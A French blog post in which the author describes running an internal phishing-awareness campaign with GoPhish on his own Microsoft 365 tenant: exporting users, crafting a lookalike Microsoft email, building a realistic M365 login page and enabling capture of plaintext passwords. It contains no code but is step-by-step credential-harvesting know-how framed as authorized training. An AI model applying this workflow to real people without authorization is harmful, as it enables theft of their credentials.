<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-3.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6615" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-3.png" alt="" width="683" height="90" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-3.png 683w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-3-600x79.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-3-300x40.png 300w" sizes="auto, (max-width: 683px) 100vw, 683px" /></a></p>
<p>A ce stade, c&rsquo;est déjà une très belle victoire personnelle, j&rsquo;ai su configurer une machine virtuelle, y installer GoPhish, le configurer, trouver comment ne pas se faire coincer par les sécurités de Microsoft en autorisant cette manipulation et victoire&#8230; le mail de test arrive !!! Pour ceux qui découvrent mes RetEx, n&rsquo;imaginez pas que cela s&rsquo;est fait le temps d&rsquo;écrire cette page, c&rsquo;est des heures de manip (et d&rsquo;apprentissage).</p>
<h2>Je vais récupérer tous les utilisateurs du Tenant Microsoft 365</h2>
<p>Deux manières de récupérer les utilisateurs, le plus simple avec l&rsquo;interface graphique du centre d&rsquo;administration de M365, sinon cela peut se faire avec une commande powershell.</p>
<p>Je ne vais pas expliquer cette seconde manière de faire, <a href="https://www.it-connect.fr/author/florian/" target="_blank" rel="noopener">Florian</a> l&rsquo;a expliquée sur son <a href="https://www.it-connect.fr/comment-creer-une-campagne-de-phishing-avec-gophish/#A_Creation_des_utilisateurs_et_des_groupes" target="_blank" rel="noopener">excellent tuto</a>.</p>
<p>Je prends la formule la plus simple, je vais dans le panneau d&rsquo;administration puis <strong>Utilisateurs actifs</strong> puis <strong>Exporter les utilisateurs</strong>.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-10.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6627" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-10.png" alt="" width="1382" height="234" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-10.png 1382w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-10-600x102.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-10-300x51.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-10-1024x173.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-10-768x130.png 768w" sizes="auto, (max-width: 1382px) 100vw, 1382px" /></a></p>
<p>L&rsquo;export se passe bien, je travaille un peu le fichier dans Excel pour supprimer les colonnes inutiles et les lignes qui ne sont pas des utilisateurs. J&rsquo;ai donc un fichier Excel parfait avec 4 colonnes, je lance un enregistrement en CSV avec une virgule en séparateur pour pouvoir effectuer l&rsquo;import dans GoPhish.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-11-1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6629" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-11-1.png" alt="" width="686" height="127" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-11-1.png 686w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-11-1-600x111.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-11-1-300x56.png 300w" sizes="auto, (max-width: 686px) 100vw, 686px" /></a></p>
<h2>J&rsquo;injecte les utilisateurs dans un groupe GoPhish</h2>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-4.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6618" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-4.png" alt="" width="513" height="243" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-4.png 756w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-4-600x284.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-4-300x142.png 300w" sizes="auto, (max-width: 513px) 100vw, 513px" /></a></p>
<p>J&rsquo;ajoute un nouveau groupe, je lance l&rsquo;import de mon fichier CSV.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-12.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6631" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-12.png" alt="" width="650" height="93" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-12.png 650w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-12-600x86.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-12-300x43.png 300w" sizes="auto, (max-width: 650px) 100vw, 650px" /></a></p>
<p>J&rsquo;ai maintenant un nouveau groupe tout prêt !</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-13.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6632" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-13.png" alt="" width="597" height="213" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-13.png 597w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-13-300x107.png 300w" sizes="auto, (max-width: 597px) 100vw, 597px" /></a></p>
<h2>Je configure le mail de phishing</h2>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-5.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6622" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-5.png" alt="" width="527" height="229" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-5.png 920w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-5-600x261.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-5-300x130.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-5-768x334.png 768w" sizes="auto, (max-width: 527px) 100vw, 527px" /></a></p>
<p>Il s&rsquo;agit du mail que vont recevoir les destinataires de la campagne.</p>
<p>Pour cela, je suis allé demander à Microsoft de m&rsquo;envoyer un message, j&rsquo;ai gardé ainsi le format du message. Au final, cela donne :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-6.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6623" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-6.png" alt="" width="1187" height="646" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-6.png 1187w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-6-600x327.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-6-300x163.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-6-1024x557.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-6-768x418.png 768w" sizes="auto, (max-width: 1187px) 100vw, 1187px" /></a></p>
<p>Je rappelle que c&rsquo;est à vertu pédagogique, ne me demandez pas le code HTML de la page, je considère que c&rsquo;est à chacun de faire le travail.</p>
<h2>Je configure la page de hameçonnage</h2>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-7.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6624" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-7.png" alt="" width="506" height="215" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-7.png 933w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-7-600x255.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-7-300x128.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-7-768x327.png 768w" sizes="auto, (max-width: 506px) 100vw, 506px" /></a></p>
<p>Appelée Landing page, cette page de hameçonnage est la page sur laquelle l&rsquo;utilisateur qu&rsquo;on souhaite piéger va atterrir quand il cliquera sur le lien qui lui est proposé dans le mail qu&rsquo;il a reçu.</p>
<p>Je suis allé chercher des modèles pour ne pas réinventer l&rsquo;eau chaude (merci souleiman)</p>
<p>Voici le meilleur lien qui m&rsquo;a été utile pour faire la page de connexion M365 la plus réaliste possible.</p>
<ul>
<li><a href="https://github.com/brunobotelhobr/My-Gophish-Templates" target="_blank" rel="noopener">https://github.com/brunobotelhobr/My-Gophish-Templates</a></li>
</ul>
<p>Je pense bien à la fin de la configuration de la landing page à cocher la récupération de l&#8217;email et du mot de passe. J&rsquo;ai dans l&rsquo;idée de pouvoir afficher les deux premiers caractères par exemple et le dernier des mots de passe « volés » lors de la formation/sensibilisation des utilisateurs. A noter que les mots de passe récupérés sont donnés en clair, je vais donc déclencher un changement de tous les mots de passe de tous les utilisateurs quelques jours après la campagne de phishing pédagogique.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-9.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6626" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-9.png" alt="" width="700" height="337" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-9.png 700w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-9-600x289.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-9-300x144.png 300w" sizes="auto, (max-width: 700px) 100vw, 700px" /></a></p>
<p>Quand l&rsquo;utilisateur clique sur le lien <span style="text-decoration: underline;">reconnecter</span> ou sur le bouton bleu Se reconnecter, il atterrit sur :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-8.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6625" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-8.png" alt="" width="1374" height="690" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-8.png 1374w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-8-600x301.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-8-300x151.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-8-1024x514.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-8-768x386.png 768w" sizes="auto, (max-width: 1374px) 100vw, 1374px" /></a></p>
<p>Ne me demandez pas plus le code HTML de cette page.</p>
<h2>Je lance la campagne d&rsquo;hameçonnage</h2>
<p>Pour résumer, j&rsquo;ai créé un groupe d&rsquo;utilisateurs, un modèle de mail, une page d&rsquo;hameçonnage, je peux donc aller dans Campagnes pour lancer la campagne.<br /><br /></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-14.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6636" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-14.png" alt="" width="705" height="777" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-14.png 705w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-14-600x661.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-14-272x300.png 272w" sizes="auto, (max-width: 705px) 100vw, 705px" /></a></p>
<p>Quand j&rsquo;appuie sur Launch Campaign, les mails partent&#8230;</p>
<p><a style="display: inline !important;" href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/61464919-mise-en-page-de-conception-de-vecteur-creatif-abstrait-avec-texte-attendre-et-voir-arriere-plan.jpg"><img loading="lazy" decoding="async" class=" wp-image-6637" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/61464919-mise-en-page-de-conception-de-vecteur-creatif-abstrait-avec-texte-attendre-et-voir-arriere-plan.jpg" alt="" width="191" height="191" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/61464919-mise-en-page-de-conception-de-vecteur-creatif-abstrait-avec-texte-attendre-et-voir-arriere-plan.jpg 1300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/61464919-mise-en-page-de-conception-de-vecteur-creatif-abstrait-avec-texte-attendre-et-voir-arriere-plan-300x300.jpg 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/61464919-mise-en-page-de-conception-de-vecteur-creatif-abstrait-avec-texte-attendre-et-voir-arriere-plan-100x100.jpg 100w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/61464919-mise-en-page-de-conception-de-vecteur-creatif-abstrait-avec-texte-attendre-et-voir-arriere-plan-600x600.jpg 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/61464919-mise-en-page-de-conception-de-vecteur-creatif-abstrait-avec-texte-attendre-et-voir-arriere-plan-1024x1024.jpg 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/61464919-mise-en-page-de-conception-de-vecteur-creatif-abstrait-avec-texte-attendre-et-voir-arriere-plan-150x150.jpg 150w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/61464919-mise-en-page-de-conception-de-vecteur-creatif-abstrait-avec-texte-attendre-et-voir-arriere-plan-768x768.jpg 768w" sizes="auto, (max-width: 191px) 100vw, 191px" /></a></p>
<div class="mceTemp"> </div>
<p>Je reviens dans quelques temps donner des nouvelles de la campagne ici&#8230;</p>
<h2>Bibliographie</h2>
<ul>
<li><a href="https://www.it-connect.fr/comment-creer-une-campagne-de-phishing-avec-gophish" target="_blank" rel="noopener">https://www.it-connect.fr/comment-creer-une-campagne-de-phishing-avec-gophish</a></li>
<li><a href="https://dazzyddos.github.io/posts/Automating-Phishing-Infrastructure-with-terraform-on-AWS/" target="_blank" rel="noopener">https://dazzyddos.github.io/posts/Automating-Phishing-Infrastructure-with-terraform-on-AWS/</a></li>
<li><a href="https://clement-bouder.fr/Creer-une-infrastructure-de-phishing/" target="_blank" rel="noopener">https://clement-bouder.fr/Creer-une-infrastructure-de-phishing/</a></li>
<li><a href="https://www.youtube.com/watch?v=Tdpzi8M3Vtw" target="_blank" rel="noopener">https://www.youtube.com/watch?v=Tdpzi8M3Vtw</a></li>
<li><a href="https://medium.com/@immure/setting-up-gophish-on-aws-c2f2fd78b7e9" target="_blank" rel="noopener">https://medium.com/@immure/setting-up-gophish-on-aws-c2f2fd78b7e9</a></li>
</ul>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>